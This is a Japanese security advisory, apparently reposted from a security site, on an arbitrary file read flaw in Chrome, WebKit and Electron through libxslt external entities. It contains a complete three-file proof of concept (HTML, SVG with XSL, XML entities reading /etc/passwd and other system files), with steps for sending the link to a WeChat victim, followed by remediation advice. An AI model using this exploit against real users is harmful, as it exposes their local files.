オープンソースのブラウザエンジンWebKitに任意ファイル読み取りの脆弱性

Google Chrome は Google によって開発された Web ブラウザであり、オープンソース カーネル (WebKit など) に基づいており、シンプルで効率的なインターフェイスにより、安定性、速度、セキュリティの向上を目指しています。ただし、SVG 画像リンクで XSL スタイルシートと外部エンティティ参照を使用すると、攻撃者は被害者のコンピュータ上の任意のファイルを読み取ることができます。

1. 脆弱性の説明

グーグル クロムGoogleが開発したWebブラウザです。ブラウザは、安定性、速度、セキュリティを向上させ、シンプルで効率的なユーザー インターフェイスを作成することを目的として、オープン ソース カーネル (WebKit など) に基づいて作成されています。 WebKit によってデフォルトで使用される xsl ライブラリ (Libxslt)、document() の呼び出しによってロードされるドキュメントには外部エンティティへの参照が含まれます。攻撃者は、XSL スタイルシートを含む SVG 画像や、外部エンティティへの参照を含むドキュメントを作成し、ホストする可能性があります。

被害者が SVG 画像リンクにアクセスすると、ブラウザは XSL スタイルシートを解析し、document() を呼び出して外部エンティティへの参照を含むドキュメントをロードし、被害者のマシン上の任意のファイルを読み取ります。

2. 脆弱性の影響

Chrome バージョン < 116.0.5845.96
クロムバージョン < 116.0.5845.96
電子バージョン < 26.1.0

国内への影響:

Google Chrome カーネルを使用するアプリケーションは基本的に影響を受けます。次のようなものです: WeChat Mobile、Alipay、Douyin、Ctrip、Xiaomi (独自のブラウザを使用)、UC ブラウザ、ブラウザ経由、Quark ブラウザなど (これらは 11 月の夕方にテスト済み) 19日)

3. 脆弱性の検証

Android バージョンの WeChat を例として、携帯電話で /etc/hosts ファイルを読み取ります。テスト環境の WeChat バージョンは最新バージョン 8.0.43 です。

3 つのファイルを作成してサーバーにデプロイします

 

c.html

<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";

var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignobject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignobject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd: &amp;passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts: &amp;hosts;
</p>
<p style="border-style: dotted;">/etc/group: &amp;group;
</p>
<p style="border-style: dotted;">c:/windows/system32.ini: &amp;sysini;
</p>
</p>

3 つのファイルを作成した後、デプロイメントのためにサーバーにアップロードし、構築されたリンクを会話ボックスを通じて友人に送信します。ここでは、ファイル転送アシスタントに送信し、リンクをクリックして読み取ったファイルを正常に返す方法を示します。 。

4. 脆弱性修復の提案

1. アプリケーションの組み込みブラウザのバージョンをアップグレードします。

2. 攻撃を防ぐために、ユーザーは見慣れないリンクをクリックしないでください。

元記事、著者:最高セキュリティ責任者、転載する場合は出典を明記してください: https://cncso.com/jp/webkit-browser-arbitrary-file-read-vulnerability.html

のように (1)
前の 2023年11月27日午後11時03分
2023年12月1日午後10時01分

関連する提案